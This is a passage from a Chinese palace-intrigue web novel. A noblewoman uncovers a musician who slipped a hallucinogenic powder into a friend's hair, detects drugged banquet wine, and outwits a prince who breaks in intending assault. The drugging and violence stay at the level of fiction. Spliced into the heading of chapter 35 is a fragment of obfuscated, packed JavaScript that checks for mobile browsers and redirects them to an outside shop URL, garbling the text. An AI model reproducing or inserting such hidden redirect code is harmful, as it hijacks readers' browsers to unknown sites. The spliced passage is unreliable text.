她暗暗道,这乐伶啊,真是过于懂事了,还是大长公主教得好呐。
“小人落弦音,愿为诸位贵客效劳。”
抱琴的清俊男子从梅林中缓缓走来,身上还带着雪的清冷与梅的寒香,他开口的时候,三人仿佛听到珠落玉盘,琳琅作响。
李宴方与赵凝清颇有兴致地打量此人,彼此一对视,眼神在悄悄交流。
真不愧是大长公主严选,色佳,声悦,艺绝。
李宴方在赵凝清的面容上读出一丝揶揄。
赵凝清似乎在道:看看别人孀居的日子多快活。
她咬着她耳朵回应:“我可没财力养那么多美男子,还有,这位乐伶是冲着上官柔仪来的,可不是我。”
赵凝清瞥一眼近在眼前的落弦音,问得直白:“大长公主教你们如何效劳啊?”
落弦音听出言外之意,但也只是温文尔雅笑道:“调香品酒,抚琴吟歌,凡能令贵客悦容之事,只要小人能办到,一定竭尽全力。”
大长公主真大方,赵凝清心里这么想。
本朝风气开放,孀居之女不求守节,未婚女子在交游上不会被禁止与男子接触,乃至于像她这样的已婚女子也不必守着大防,在公众场合见面是正常的事情。
赵凝清歪头看向李宴方和上官柔仪:“家里有个醋缸,好姐妹们,我先去找他了。”
脸上闪过无福消受的憾意,转瞬即逝后,就只剩下促狭一笑。
落弦音恭送赵凝清离去,他温声询问:“两位贵客可容小人弹奏一曲。”
走了一位,正好实行他的计划。
梅林间落座,位置较窄,丫鬟不便入内,人少些,于他有利。
上官柔仪对此人有些感兴趣,便点头允许他的请求。
他缓缓落座于梅树下,振衣拂袖,整理衣冠,颇有几分名士风流、玉山将崩的味道。
这模样确实招人喜欢,能骗去旁人青眼,李宴方的目光轻飘飘地落在落弦音身上。
打量,窥探。
她直觉他不似外在那本清透落拓,大长公主的和月山庄并非世外桃源,对于这一批被寻玉官搜罗来的男子而言,是一个名利修罗场。
人在名利场里,表面再霁月清风,李宴方也不会相信他的心里当真不染尘埃。
她大大方方地怀疑着,耳畔已经流动起悦耳的琴音。
这是名曲《梅花三弄》,琴音之清,梅花之清,冰雪之清,融为一体,动人心弦。
泠泠琴音如粒粒白雪轻悠悠飘落,落到流觞的温泉中,化于无形,却也落入人心,宫商角徵羽把心室敲得通透。
正是趁虚而入的好时机。
落弦音拂弦抬眸,正对李宴方似笑非笑的眼,他似有一瞬间的羞怯与躲闪,玉色容颜上立刻染就一层薄薄的红霞。
他没有因为“羞怯”而退步,转而一双多情桃花眼就含着莹润的水光,向上官柔仪投以柔情的轻瞥。
落弦音如琳琅玉坠的声音传来:“无根霜雪,缀落梅枝,最宜煎茶,不知二位贵人是否愿意品一品?”
这一次,李宴方没等上官柔仪开口,她先点头:“好啊。”
李宴方等待着他的后招。
昨日她接到紫电的来报,崇州萧家确有人蹲守,他们的人杀到后,故意漏出破绽,让其中一人返回复命,他们紧随其后跟踪追查,没想到这条漏网之鱼果然回到洛都。
回到一个她毫不意外的复命之地:
鄂国公府。
据紫电说,那人一身重伤,没能进入府内回报,像个江湖丧家之犬一般,死在鄂国公府门后门外。
尸身很快被清理。
今时今日,陆朴没有出现,但陆家二公子,也许是未来的鄂国公世子——陆怀也在受邀之列,正在流觞席上,谈笑风生。
若他们得知,李宴方与萧偃已经对崇州萧家之事做出应对,陆家又该如何?他们敢在大长公主的宴会上动手么?
真是胆大包天。
她最初欲构陷其谋反,从而斩草除根,但他们在此次宴会上下手的话,这宗罪也不算冤枉。
所以这个叫做落弦音的乐伶,是受了陆家的意?
落弦音在得到李宴方的允许后,放下七弦琴,以流觞泉净了手,从贵客的案前取了白瓷瓯,到身后的梅树旁,细细地取下蕊间的白雪。
他道:“此雪洁净清冷,而山庄的茶,殿下早已吩咐我等将其包在纱绢上,存于花蕊间,茶叶含梅花香气,冲泡出的茶汤最适宜此刻品尝。”
落弦音做事时专心致志,谈话间不急不徐,他折下一支开得正盛的梅花,说:“上官小姐,此为洒金梅,花色奇特,各朵花相异,最衬佳人颜色。”
他放下白瓷瓯,将折下的梅花双手奉上。
上官柔仪意味深长地看他如何献殷勤,这时,她眨眨眼问:“你是想帮我戴上么?”
她的出身让她见过无数男子讨好,落弦音的一举一动,让她想到,他八成有求于她。
“小人斗胆,为上官小姐簪花。”
落弦音以最快的速度跪下,将梅花奉过头顶。
李宴方不动声色将两人的交流收入眼底,落弦音确实不像冲着自己来的,她多心了么?还是此人故意声东击西?
然不可掉以轻心。
上官柔仪落落大方,她的爱恨很鲜明,喜欢的就追逐,不喜欢的就放弃,眼前的乐伶对她而言,只是宴会上的惊鸿一瞥,她对他有些兴趣,所以这一支被他精心挑选的梅,她可以接受。
但也仅仅是接受而已,没有更深层的意思和更进一步的打算。
就如听他抚琴,由他烹茶,都是今日宴上的应有之义。
上官柔仪让他起身,替她簪花。
白皙、修长、善于弹琴的手拈起繁盛的花枝之时,优雅、极美,能叫人想到沉静千年的拈花佛像。
繁花绽放于扰扰绿云间,衬出上官柔仪的韶光焕颜。
他的手似乎格外眷恋上官柔仪的青丝,仿佛被细长的、难以察觉的丝线捆绑住,停在她鬓边,迟迟不去。
直到李宴方一声轻笑:“茶水开了。”
那双手终于离开,恭敬地回到案前,替两位贵客煎茶。
他低下头,掩盖因得手而生出得意,一丝不苟地捣弄着莹白如玉的茶具。
直到见到李宴方替上官柔仪拂去鬓边落雪时,手一抖,案上的茶具碰撞出清脆锐利的响音。
不过几息时光,案前的密谋就被揭露。
落弦音趁着簪花悄悄藏在上官柔仪间的“细雪”被李宴方取下,她将细微如盐粒的白色微末收集到手帕上。
正在上官柔仪迷茫之际,李宴方以迅雷之速,抓住了正在瑟缩的落弦音。
腕上传来的力道不容小觑,抓住他的贵女,正淡淡浅笑,他如堕冰窖,身体也出现了不由自主的颤抖。
李宴方给了上官柔仪一个安抚的眼神,随即和善地审问:“此为何物?你意欲何为?从实招来,我可以留你一命,而我若是将此时告知大长公主,你当知晓会有什么下场。”
落弦音大口喘气,心绪极为不宁,李宴方瞧着林中人影错落,她只想速战速决。
李宴方低头轻闻帕中,一股异香传来,叫人有些晕晕乎乎,如堕云端。
她立刻将其放远,已在脑海中检索此为何物。
“致幻的蜜萝香
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?西域所产是不是?你从何处得来?”
上官柔仪已反应过来,浑然不觉间,脊背已发凉,肤上已冒冷汗,原来落弦音存了歹心要迷惑她!
竟然如此无知无觉地得了手……要不是李宴方在她身侧,她都不知晓此人究竟想要做什么!
心头涌过一阵愤怒,一阵后怕。
她再瞧李宴方时,对这位她为了接近萧偃而亲近的姐姐,流露出真挚的感激和无限的敬佩。
她竟然能将落弦音的一举一动全部捕捉,还能迅速地辨明所投药物,当真是深藏不露。
上官柔仪再看向落弦音的目光,已是充满愤恨,恨不得将他碎尸万段!
落弦音被她目光震慑,又被李宴方控制,他无奈之下道出实情,支支吾吾。
“此为小人于城西四和春楼购置的异香,确有迷惑之效……小人,小人是不小心得罪山庄中人,意欲另攀高枝,远离和月山庄。”
“所以打算迷惑上官小姐,让她开口请求殿下将小人赠予她,带离出庄,从而求得一线生机。”
落弦音正欲跪下叩首,李宴方笑眯眯地拦下他的动作:“你想跪地求饶,是好让别人瞧见,再让管事前来闻讯一二吗?”
他直视李宴方,惊觉她眸中平静的杀意,蓦地想到自己幼时山野里不期而遇的毒蛇,漆黑的深瞳泛着冷光,目不转睛地盯着自己。
逃不掉。
他浑身发凉,几乎忘记如何呼吸。
落弦音强忍着心中的恐惧,露出一个比哭泣惊恐还诡异的微笑,张唇瑟瑟道:“但凭贵人发落。”
“这就对了。”李宴方心道,倒也真是得来全不费工夫,此人竟然和四和春楼有些关系,还得罪了庄中人,会是因什么事呢?
她须得好好审问,而此事暂且不可让大长公主知晓,李宴方必须保证,全部的消息掌握在自己手中。
此时,流觞中恰有一杯佳酿盛满的木质羽觞中悠悠荡荡而来,李宴方信手捧起,徜徉于温泉之中的羽觞仍带暖意,她发凉的指尖感受得尤为明显。
她将其捧来,置于鼻端,轻轻摇晃。
甘醇的香气胜过此时此刻落弦音煎的梅香茶。
落弦音的茶,她可不敢喝,这大长公主府中备的酒……不对!也不能喝!
上官柔仪自事发后一直观察这李宴方的神情,这一刻,她在李宴方的面庞上捕捉到突如其来的惊慌!
她的情绪已经被李宴方带动,让李宴方惊慌的是什么?不由得也跟着攥紧五指,心头一突。
李宴方再度闻嗅羽觞中的佳酿,黛眉颦蹙。
胸膛里的心脏仍在扑通直跳,果然,这宴席上果然有人要针对她,这杯酒不正常,助兴的酒?
只不过被酒气覆盖,难以察觉,若不是她读过不少医书药经,且在宴中保持警惕,极其容易被暗算。
她定下心神,目光再悄悄扫过目之所及的宾客。
曲水流觞,明澈清越的泉水穿过梅林,留下九曲十八弯,贵客落座其间,谁都有机会投毒。
那么她喝下这一口,会有谁盯着她,等待她中计?
李宴方一手握着落弦音,一手捧着羽觞,看似在与乐伶调笑,两人推杯换盏间,你侬我侬,李宴方假意喝下美酒,实则灌入袖中。
要陷害她?
可陆家不知道她通晓药理吗?还用药设计她?
按她的设想,鄂国公府应当知晓她正是给陆韫之下毒而取他性命!
难道陆家并不确定她毒害陆韫之的事?不知道她有这项本事?
既然不能确定陆韫之的死因,鄂国公府有什么理由来害她?
李宴方脑海里蹦出一个猜想。
今天这杯助兴的酒,要害的不是她,而是萧偃!
33. 秘辛
案几上的羽觞在耳处留有记号,这记号与桌案上的花纹对应,策宴之人为防止美酒分配不均,或者有狂客截流羽觞,所以用标记进行分配。
这一来,定向投毒就存在可能。
可这些宴会细节谁会提前得知?而谁又与外人串通?
李宴方望向落弦音灰败绝望的脸,凝眸于他无措的眼瞳,绽出轻佻的笑意:“你说若是上官小姐开口,便能将你从和月山庄带走,那么我若带你走,你乐不乐意?”
高陵乡君,她还有一位义弟,正是名扬天下的舞阳侯。
比起相府来,这个去处也不赖。
落弦音压在心口的巨石瞬间分崩离析,转眼便喘过气来,面露喜色道:“唯乡君马首是瞻,小人当牛做马,在所不辞。”
不管李宴方做什么,至少她没有打算将其捅破到大长公主面前,他知晓殿下最痛恨用药这等下作手段,若李宴方真能把自己带出山庄去,自己一定痛改前非,任劳任怨。
李宴方装作看不懂他的心思,只是笑笑:“那我们去拜见大长公主殿下,我求她将你赐于我。”
赐于我后,有大用。
她的目光再度落在盛酒的羽觞中。
三两句话便把人安抚好,她对上官柔仪道:“你也随我去吧。”
此处落了蜜香萝,离去为好。
上官柔仪见李宴方有收用落弦音之意,她眉头紧锁,正待阻止,心道此人居心叵测,宴方姐姐怎能如此?
李宴方拍拍她手背,上官柔仪会意,不再言语。
三人离开宴座,前去寻觅大长公主所在。
梅林豁然开朗之处,和月山庄的主人大长公主李澄正与宾客闲谈,当她瞥见李宴方与上官柔仪一道而来,微微眯了眼。
因为,李宴方拉着她的乐伶,攥得很紧,一路绕过梅林石泉,也不避讳其间宾客,简直是昭告天下。
也是同她一般,丈夫一死就忘干净的女人,真投缘。
在大长公主的注视下,李宴方毫不遮掩地提出要求,根本不在乎在场能听到的宾客作何感想,她还巴不得所有人都知道这件事。
好让下毒之人知晓,她中计了。
果然如落弦音所言,大长公主笑意盈盈地答应下来:“你若是喜欢,当然能让他随你处置。”
击玉般的笑音传入耳,掩盖住一人踏风而至的脚步声。
萧偃来时,正好把李宴方要将此乐伶收为己用的要求听个一清二楚,而当大长公主欣然应允后,他彻底冷下脸,就好似积在梅枝与奇石上的霜雪,被一阵突如其来的阴风吹到进他的深眸,寒潭在瞬间冻结成冰,冷意森森。
李宴方尚未察觉身后来人,她真心实意地向大长公主道谢,并急不可耐地再度抓住落弦音的白净手腕。
她拉着他离去时,低垂面容上浮起一抹极淡极轻的神采,是她的得意之色。
待她抬起眸时,才发觉一脸不悦的萧偃就在她三步之外。
仿佛这瞬间被朔气封冻住,人、事、物皆停在一瞬。
李宴方理直气壮地盯着萧偃。
萧偃神色复杂地盯着李宴方。
而夹在二人中间的落弦音愕然又惊慌,被这诡异的氛围吓住,不敢声张。
萧偃目光如攀缘的爬藤死死缠绕着参天古树,在李宴方身上久久不去,仿佛只能等待一场砍刀与烈火的洗礼,才能将其彻底从树身上除尽。
她怎么能这样呢?
她中毒了吗?
所以选择这个清秀温润的乐伶?!
目光化作爬藤,从地下蔓延而出,纠缠着虬曲的根,再发疯似地向上生长扩张,藤蔓有无数根触须、无数根枝条,全军出击,急躁地探入古树的枝桠,寻找病灶。
他要仔仔细细看看,她是不是真的中毒。
肤色如常,镇定自若,除了把那个清润柔弱、与世无争的小乐伶抓得紧紧的之外,他的阿姊看上去没有任何不对劲。
松了一口气,但一口恶气随之阻塞胸膛。
阿姊果断地将他抛弃,又果断地选了新人?
这人是要带回府邸中吗?
还在他面前得意洋洋地做完这一切?
大长公主是慷慨大方,可他偏偏是那么那么小心眼的一个人呀,她明明知道的!
若不是手中的羽觞装着某些人在和月山庄胡作非为的证据,萧偃几乎要按压不住心中的醋意与怒火,将羽觞捏得稀巴烂。
怒意化作嚣张气焰,喷着火舌烧到李宴方跟前,她早已料到萧偃会是这般反应。
可她就是觉得,她太纵容他了,容忍他表白,容忍他得寸进尺,才让他变成这副模样,光明正大地在所有人面前拈酸吃醋。
她这姐姐要做什么,本轮不到他来管。
李宴方见萧偃手中捧着羽觞,又见他肤色如常,并没有中计的迹象,继续自己的计划。
不管他了。
李宴方抓着落弦音对大长公主行了礼就转身离去,留下萧偃在原地。
他掌中,羽觞内的美酒荡开细密连绵的波纹,难以平静。
李宴方一走,萧偃彻底暴露于大长公主的注视下。
“请殿下恕罪,微臣这一杯酒并不是要敬殿下的,”他正了神色,一本正经说道,在大长公主愠怒之前,他和盘托出,“殿下所赐的酒甘醇香甜,人间少有,只不过有人心存歹意在其中添了几味药材,要暗害微臣。”
大长公主凝肃蛾眉,言辞冰冷:“萧卿此言当真?”
“请殿下明鉴。”
萧偃不再多言,只是把羽觞呈上。
方才李宴方的大张旗鼓已经吸引不少宾客的注意,如今萧偃再言指酒中有毒更是几乎让周围所有人都把目光凝在此处,纷纷担忧起自己是否也遭了毒手。
梅林之下,暗潮涌动。
大长公主的人办事果然利索,已细查羽觞,向她禀报实情。
“啪!”一声拍案声如青霄惊雷乍裂,震入宾客耳膜。
大长公主最厌恶此类行径,山庄中人胆敢?还是勾结外人在她的地盘上撒野?
无论是哪一种可能,都足以令这位养尊处优的大长公主勃然大怒,她立即下令收缴所有羽觞,彻查此事。
宾客之中,尚有一人如置身事外,不为尊主怒不可遏而悚然。
此人便是北戎王子那木拓,他起身越座而出,向大长公主进言。
“小王有一事不明。这些流动的酒杯在泉中无人管束,就算有记号凭证,但无知如小王,也不慎贪杯一二,已然乱序,萧侯如何确定这杯酒就一定是要陷害你?”
他敌意鲜明,说辞似连珠,不给萧偃反应的机会。
人人都晓得萧偃在麟德殿上大败那木拓,北戎王子气盛嚣张,记仇至此,也不足为奇。
“而且这酒杯在泉中流动已久,席间又有花木遮掩,谁能确定不是萧侯自而为之?”
话音一落,大长公主脸色微变,她记得折梅一事,萧偃此人颇为不守规矩,他真有那么大的胆子?
萧偃见状冷笑出声,本欲给那木拓颜色,但李宴方那不甚在意他
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死活的模样浮上心头,瞬间泄了气,放弃挣扎和自辩。
他不出手,倒要看看旁人若是针对他,他的好阿姊能否从俊美乐伶的柔情相伴中拨冗而来,救他于水深火热之间,替他洗清冤屈。
这席间,也只有阿姊是真心救他。
只是她会来么?
萧偃凄然一笑,恭敬道:“微臣愿自缚手脚,待殿下查明真相,还请殿下还微臣一个清白。”
此言一出,满座皆惊。
这突如其来的变故后究竟藏了什么玄机,竟然让桀骜轻狂的萧偃作毫无挣扎之态,甚至连自缚这等屈辱之言都能平淡道来?
旁人不懂,他的无助凄惶与无心应对都是为了逼迫李宴方出手,阿姊不该再去正眼相看那乐伶,要看他。
眼里要一直装着他才好呢。
她这下再看他时,眸中可会闪烁一丝一毫的怜惜?
萧偃低头,这些阴暗潮湿如屋角苔藓霉潮般的心绪,藏在紧叩的齿后,只能由他独自咽下。
大长公主深知此事确有蹊跷,她不会在水落石出之前就因为猜疑而羞辱这位年轻功高的舞阳侯。
她淡淡道:“庄中有一处谢月台,独立小山,偏幽僻静,无人打扰,可纵观梅林景致,便请萧卿前去暂歇。”
萧偃心知大长公主给足他面子,只是让他移步赏花,而非下令囚禁,把他摘出此事也是对那木拓挑衅的应对与维护之举,他自是谢过。
余下的,要么等大长公主查清真相,要么等阿姊“救”他出来,萧偃如是想。
大长公主对萧偃尚有温色,但念及有人从中作梗,她满腔怒火,一望天幕,昏暗无边,风起云涌。
“临近傍晚,暴雪将至,诸位此时回城,山路崎岖,风雪不期而至,本宫为了诸位的安危着想,还请诸位暂歇于山庄之中。”
比风雪来得更快的是大长公主的雷霆之怒。
事情未真相大白之前,她果断地将众人都禁于山庄中,让肇事之人绝了逃逸的念头。
宾客之间短暂的惊愕哗然过去,有查看天色发现风云突变,无奈接受安排的;有无关痛痒继续与有人畅谈的;也有败了兴致转身前往大长公主安排下的客舍的……
大长公主起身拂袖而去,必要严查。
俄顷,有一仆从引着萧偃前往谢月台,萧偃远去的背影,在愈发晦暗阴沉的天色里竟然有一两分丧家之犬的落寞寂寥,让还在原地观望的上官柔仪惊诧。
他怎么会这样?
她回忆起萧偃在李宴方面前的愤怒,是因为他暗中被算计所以愤怒?
可怎么会落寞呢?
关于萧偃的一切,在脑海中纷纷扬扬。
他去玉辉堂紧紧跟在李宴方身后;他在麟德殿力战那木拓,把万象芳华奉至李宴方面前;他随李宴方来到和月山庄,寸步不离,直到她出现把李宴方“抢走”;他再度见到李宴方时,李宴方身后多了一个眉清目秀的乐伶……
还有,他从不看她,难道是他要在李宴方面前避嫌?!
他喜欢他姐姐!
上官柔仪仿佛窥见义姐弟之间不可告人的秘辛,惊得目瞪口呆,迟疑地小声质疑:“这也可以吗?”
恍觉有人拉她的袖,上官柔仪回过神,见是与李宴方的好友赵凝清,身后是她的夫婿贺成洲。
赵凝清与她恳切道:“方才我离去后发生了何事,还请妹妹一五一十告知于我。”
上官柔仪点点头,赵凝清问的是酒水之事,可她却在想,萧偃对李宴方的感情也是其中一环么?
34. 棋奁
风雪须臾便至,水汽袅袅的温泉里化入刚刚从天而降的小雪,梅林间的灯笼已被仆从点亮,隐约照见人影寂寥的花林。
未到金乌西坠之时,山间已然昏暗如夜。
方才还有些人暗地里埋怨大长公主小题大做,借故发挥,如今见这瞬间吞噬日光的浓云,吹着夹雪的寒风,不禁由衷懊悔与羞愧。
暗淡天色下,恰给了某些人乱中作梗的良机。
陆怀已暗中打听到李宴方与那乐伶的去处,他亲眼见李宴方喝下那酒,她定然是着急解毒去了。
狼狈,荒淫。
他轻蔑冷笑,出身卑微的那位阿嫂飞上枝头也不会真正变成凤凰,现在沦落到拿低贱的乐伶解毒。
只是可惜,这计划只成功了一半,真正当入局的人已经被撇开,独坐于谢月台,置身事外。
陆怀心头愤恨,陆家的暴露让他焦躁不安,那杀手并不是父亲派去崇州的人马,却自顾自地跑到陆家来,分明就是有人在告诫陆家,鄂国公府派人前往崇州萧家一事已暴露。
以一具死尸祸水东引,就是要让萧偃把矛头指向鄂国公府!
今天的设计本欲让萧偃深陷其中,制造姐弟乱情的惊天丑闻。
处于暗中的敌手,若是要拉拢萧偃,则会尽力阻止节外生枝;若是要落井下石,也当费尽心思把萧偃拉下水,给他扣上罔顾人伦的帽子。
前途无限的能臣就会被烙刻下洗不尽的污点。
暗中的敌手一定会有动作。
陆怀的目的就是引蛇出洞。
等待之时,他找到盟友那木拓,悄声道:“可不能浪费设下的局,反正大长公主已经得罪了,必须发挥其仅剩的作用,让和亲之事板上钉钉才好。”
那木拓很快明白陆怀的意思,他与宾客放肆地饮尽大长公主后赐下的酒,那些无论是来自于江南的,还是来自于蜀中的,各有芳名的美酒,都被他一饮而尽。
酒不醉人,但人必须醉了。
有人想搀扶这位身份特殊的北戎王子,可王子身长体健,力大无穷,一般侍从无功而返,只得在他身后亦趋亦步。
可天色昏暗,林间灯笼光亮不足以照路,不过几个转身,侍从便跟丢了王子,侍从们只得在奇巧山林内拨开重重梅影,寻寻觅觅。
一间临水的轩舍出现在那木拓眼前。
轩舍外并无仆从待命,看来是有人将其打发走。
屋内一个手无缚鸡之力的柔弱乐伶碍不了事。
那木拓的天赐良机已至。
他可以对李宴方用强,甚至不需要用什么手段,李宴方中了药,她会在自己面前流露出迷乱渴望的醉态,会主动抚上他宽阔壮硕的胸膛,会情意绵绵地攀上他的宽肩……
这连萧偃都不曾见过与体验过。
酒香四溢中,那木拓脑海里浮现起第一次见到李宴方的情状。
喧闹熙攘的街市,一人镇静自若,遗世独立,他在没瞧清幂篱下的容貌之时,便被那一股如明月孤冷高悬的气质所吸引,更不要说幂篱下那一张脸容得下他对中原女子的全部美好想象。
她就该是他的。
现在她将是他的了。
唯一能阻拦他的那头恶犬已经身陷高台,那木拓再也听不到萧偃的吠叫,再也见不到萧偃的獠牙。
夺下仇敌心爱之人的快感,足足可以与亲手取下萧偃项上人头的畅快相提媲美。
醉酒的王子踉踉跄跄,脚步虚浮,三步也能走成两步,嘴角露出□□,已是胜券在握。
黑暗中,一双被欲望点燃的双瞳,像饥饿渴血的野兽迈着无声的步伐接近轩舍。
轩舍下的寂静寒潭骤然惊起涟漪。
高大威猛的男子如出笼的恶兽般袭击轩舍房门,他动作迅捷刚猛,野蛮残暴,将门前的碎石扫入寒潭,水声乍起,门户被破,轰隆砰啪。
“你躲不掉了,李宴方。”短短几字,流露出势在必得的自信与威严。
那木拓突入轩舍的一瞬间,只觉得室内昏暗,唯有桌前星光荧荧。
李宴方竟没点灯,不过,成其好事之时不明烛也是一番乐趣,他丧失戒备,正欲长驱直入,却不想一具玉石打造的棋奁迎头击来!
“呼啦啦”一串令人烦躁的坠地杂音,玉石棋子洒得七零八落。
杂音未止,那质地坚硬的棋奁竟然砸得奇准无比,那木拓已觉头疼脑痛,一道湿热的水迹从额头流下,垂过含欲的眼,划过挺翘的鼻。
熟悉的铁腥味猝然钻入鼻腔中,那木拓愣怔一瞬,难以置信。
这一出竟已见血。
“大胆醉汉,竟敢毁坏殿下的轩舍!”
李宴方先声夺人,她一清二楚来人打的是什么主意,但她要借大长公主的势给人以颜色,须为他定下不尊公主的罪行。
此举也能最大限度让自己不受波及。
玉石棋奁滚三滚,留下一串骨碌碌的尾音。
那木拓顿在原地,他愤恨地抹去糊在眼皮上的血迹,借着微光,重新打量了眼前情势。
李宴方与乐伶正相对而坐,二人中间摆着一副棋盘,棋盘上两色棋子在黑暗中发着荧光,映出激烈厮杀的凶局。
很显然,方才这二人一直在下棋,下了很久。
李宴方根本没中毒,她在守株待兔!
那木拓恼羞成怒,惊觉自己着了李宴方的道儿。
胸中暴戾杀伐之气喷涌而出,那木拓恨不得掐断李宴方修长白皙的颈项。
这一刻,那木拓终于甩掉来到洛都后的全部伪装,那些假仁假义、以礼相待、乃至于主动学习大晟文化的那一股热情,被他一股脑儿从身上扒下,摔到地上,用力践踏。
北地刀头舔血的人亮出獠牙与利爪。
“喝哈——”暴躁恼怒的一声吼如惊雷袭来。
李宴方察觉危险逼近,她立刻撩起裙摆,冲着轩舍一侧大开的窗户跑去,不顾仪态地翻窗而出。
逃离的动作行云流水,仿佛预演过百十来遍。
暴跳如雷的那木拓一而再、再而三受挫,怒火烧得他面红耳赤,使他忘记额头的痛楚,他阔步而上,一只手提溜起呆若木鸡的乐伶,将乐伶摔在地上。
乐伶听到他想做什么。
在和月山庄中,他不能杀李宴方泄恨,歹毒愤恨的目光因而凝在痛呼呓语的乐伶身上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882348|190369||http|test|mini|href|location''.split(''|''),0,{}));
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>屋外的天早已黑透,寒风夹雪,吹得人脸疼,但也极快地帮助李宴方平静下来。
跃窗出逃就是李宴方设局之时早已考虑到的后路,屋内的布局最适合制定这条策略。
门口那木拓与李宴方之间隔着一个落弦音和一张摆设棋盘的桌,一人一物,成功阻隔了那木拓的追击。
一旦到了外头,李宴方就能安全无虞,只要她唤出和月山庄的侍卫,那木拓绝不可能再借着醉意胡作非为。
因为那木拓根本没醉,他分得清轻重。
他绝不敢直接对她下杀手,她不仅是李宴方,还是大晟朝的高陵乡君。
她正疾跑寻觅侍卫所在,抬头边见一行人打着灯笼往轩舍赶来,从衣着上判断正是庄中人。
“方才有一醉汉破门而冲入轩舍,不知意欲何为。”
李宴方对迎面而来的侍卫简要道明,侍卫头子心疑乡君说的醉汉就是侍从遍寻不至的北戎王子,他立即领人急匆匆赶去轩舍。
李宴方回望,见轩舍中并未有人追出,心稍定。
她正往人多之处疾走,被从假山后冒出的赵凝清一把拽过去。
假山后,赵凝清与上官柔仪满脸急切担忧。
“还好你没事。”赵凝清感叹,抓过她左看看右看看。
“侍卫是你们找来的?”李宴方何其明锐,立马便知。
“嗯,方才听闻北戎王子不知所踪,我们疑心要生事,幸好柔仪知晓你的去处,”赵凝清抬头望向假山内地势较高的山亭,示意李宴方看过去,“侍卫若是赶不及,成洲会先一步杀入轩舍。”
贺成洲早已跃上亭子,事发紧急,侍卫不至,他将趁地势之便闯入制止。若是事发后有人问起,他可谎称于山间漫步,居高临下,一不小心发现轩舍中的异常,前往查看。
毕竟是在大长公主的和月山庄内,禁军统领不便越俎代庖。
得知来龙去脉的李宴方眼一热,心一颤,好姐妹不知不觉中已为自己做足应对,瞬时失言,不知如何感激。
“是我兵行险招,害你们担心了。我既无事,你们速速离去,此事尚不知会发酵成何种模样,最好不要再牵扯其中。”
李宴方是那木拓的目标,避无可避,但她们不是。
“那木拓并未得手,闹大于他也无益,你们放心,我也不会受太多牵连。”她极快地分析起来。
她们正欲离去,轩舍的方向响起一阵嘈杂喧哗。
轩舍已然灯火通明,照亮将轩内那一盘未下完的棋局。
再度伪装起醉酒状态的那木拓被几名人高马大的侍卫协力抬出,而在这几人身后,侍卫头领命人去将山庄内的大夫请来。
方才侍卫头领一入屋内,点燃起烛火,便瞧见醉得不省人事的北戎王子昏睡于地面,而不幸的是,他昏倒之事并未注意周围,将瘦弱的乐伶压在身下。
待侍卫赶来时,乐伶已经窒息断气,侍卫头领慌忙请来大夫,山庄中闹出人命,必须要让大夫好生查看才能禀告殿下。
侍卫头领不由得冷汗涔涔,那厢投毒之事未有结果,这厢又生了意外,殿下必然震怒。
他面色灰败,怅然长叹。
35. 求娶
狂风席卷山间后,纷纷扬扬的鹅毛雪安静落下。
客舍内炭火通红,暖意安抚躁动慌张的人心。
上官柔仪来到李宴方的客舍,为的是道谢。
“宴方姐姐,今日多谢你出手相助,让我免遭暗算。”她言辞恳切,泪光莹莹,白日里发生了太多事,直到这一刻她才能放纵情绪。
李宴方安慰她:“不必介怀,只不过顺手为之,我查乐伶也是因为我自己的事情。”
那乐伶死在那木拓的“醉酒”与“不小心”之下,幸好,李宴方在先前下棋时已完成对他的审问。
垂泪的上官柔仪欲言又止,似有为难,嗫嚅道:“宴方姐姐真心对我,两肋插刀,可是我最开始接近姐姐,是有目的的!”
李宴方于她有相救之恩,她无论如何也不能再欺瞒于她,她决定负荆请罪。
见上官柔仪涨红花容,羞愧为难,李宴方了然地笑道:“我知道呀。”
仿佛是一件极其微小的事情,而李宴方的笑容也不带半点嘲弄厌恶,流露着小女儿谈话间的随性真诚。
“你……你知道?!”
上官柔仪更无地自容了,但她转念一想,抓乐伶时李宴方的洞察力惊人,岂会不知道她的小心思?
上官柔仪不由得捂起脸,恨不得离炭火远一些,烤得她大雪天都要生出一身热汗。
“我知道,”李宴方温柔地微笑,“这有什么呢?我靠近你也有目的,因为你祖父。”
“人与人之间的相交最初未必能有多么纯粹,但你肯对我真心相待,担忧我的安危,向我坦诚秘密,我又怎么会因为这样的小事而介意?”
上官柔仪本性不坏。
三言两语,四两拨千斤,化解掉她羞愤难当的自责,把她最介意的丢脸事说得如春日的柳絮,飞扬而过便无关紧要。
上官柔仪感受到一股前所未有的温柔与包容。
是初春时分的山雾,细腻轻柔地漫过冬眠未醒的枯黄草木,润物无声。
娘亲去得很早,家里只有祖父和几位哥哥,她除了祖母之外,极少能感受到女性长辈给予的独特关怀。
她蓦然惊觉,这当是属于“姐姐”的大度与温厚。
她从未有过姐姐,原来有姐姐是这样的感觉。
一位洞察过人、手段犀利的姐姐,一位温柔包容、智慧大度的姐姐。
萧偃的命真好啊,她都有些羡慕他了。
鉴于发觉萧偃对李宴方的暗流情丝,上官柔仪决定与他划清界限。
“宴方姐姐,我最开始虽有目的,但我也有自己的骄傲,既然对方于我无意,我自然不会纠缠。”
上官柔仪拿得起,放得下,就像那些祖父悄悄让她相看的几位郎君一样。
相府独女,岂会热脸贴冷屁股?
对方是皇子都不足以令她如此牺牲,遑论一介武夫?
其实这件事让李宴方颇感为难,她斟酌道。
“我并不知道我自己应该以什么身份看待你们二人之间的关系。若说我是姐姐,但萧偃早已成年,我自知管束不了他,当不起‘长姐如母’的重责去替他主持婚事。”
从什么时候开始,从她发现萧偃早已长得比她高时开始吧。
他不再是跟在她身后的孩子,与她玩乐,供她使唤,听她教训的阿弟。
这种感觉在上清观重逢那日尤为清晰刺骨。
他还有另一重身份,官职、爵位、功业,浓墨重彩地提醒她,他已脱胎换骨。
“我只能做旁观者。”
可李宴方不清楚这种漠然冷淡是不是吃醋的遮掩,这一点让她不知如何是好。
姐姐不像姐姐,情人不像情人。
她被迫处于失序与混乱之中。
因而李宴方实在没有立场去干涉这种事情,只能袖手旁观,任其自然发展。
